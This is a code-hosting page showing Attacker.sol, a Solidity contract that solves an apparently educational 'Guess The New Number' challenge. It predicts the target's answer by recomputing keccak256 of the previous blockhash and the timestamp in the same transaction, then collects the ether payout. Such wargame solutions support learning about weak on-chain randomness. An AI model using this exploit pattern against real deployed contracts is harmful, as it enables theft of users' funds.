-
Notifications
You must be signed in to change notification settings - Fork 21
/
Attacker.sol
34 lines (25 loc) · 942 Bytes
/
Attacker.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract Attacker {
address owner;
error NotOwner();
error ValueErr();
error GuessErr();
constructor() {
owner = msg.sender;
}
function attack(address _challenge) public payable {
if (msg.sender != owner) revert NotOwner();
if (msg.value != 1 ether) revert ValueErr();
IGuessTheNewNumberChallenge challenge = IGuessTheNewNumberChallenge(_challenge);
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))));
challenge.guess{value: 1 ether}(answer);
if (!challenge.isComplete()) revert GuessErr();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}
interface IGuessTheNewNumberChallenge {
function guess(uint8 n) external payable;
function isComplete() external view returns (bool);
}